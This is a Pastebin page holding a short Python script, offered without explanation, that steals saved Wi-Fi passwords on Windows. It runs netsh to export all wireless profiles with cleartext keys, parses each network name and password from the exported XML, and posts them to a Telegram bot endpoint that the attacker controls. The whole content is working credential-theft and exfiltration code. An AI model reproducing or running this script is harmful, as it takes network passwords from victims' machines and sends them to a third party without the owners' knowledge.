Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from xml.dom import minidom
- import os
- import requests
- import subprocess
- subprocess.call("netsh wlan show profile")
- subprocess.call("netsh wlan export profile folder=C:\\ key=clear")
- for file in os.listdir("C:/"):
- if file.endswith(".xml"):
- document = minidom.parse(f"C:/{file}")
- wifi = {
- "name": document.getElementsByTagName("name")[0].firstChild.data,
- "password": document.getElementsByTagName("keyMaterial")[0].firstChild.data
- }
- #print(wifi)
- requests.post(f"https://api.telegram.org/botYOUR_TOKEN/sendMessage?chat_id=YOUR_CHATID&text={wifi}")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement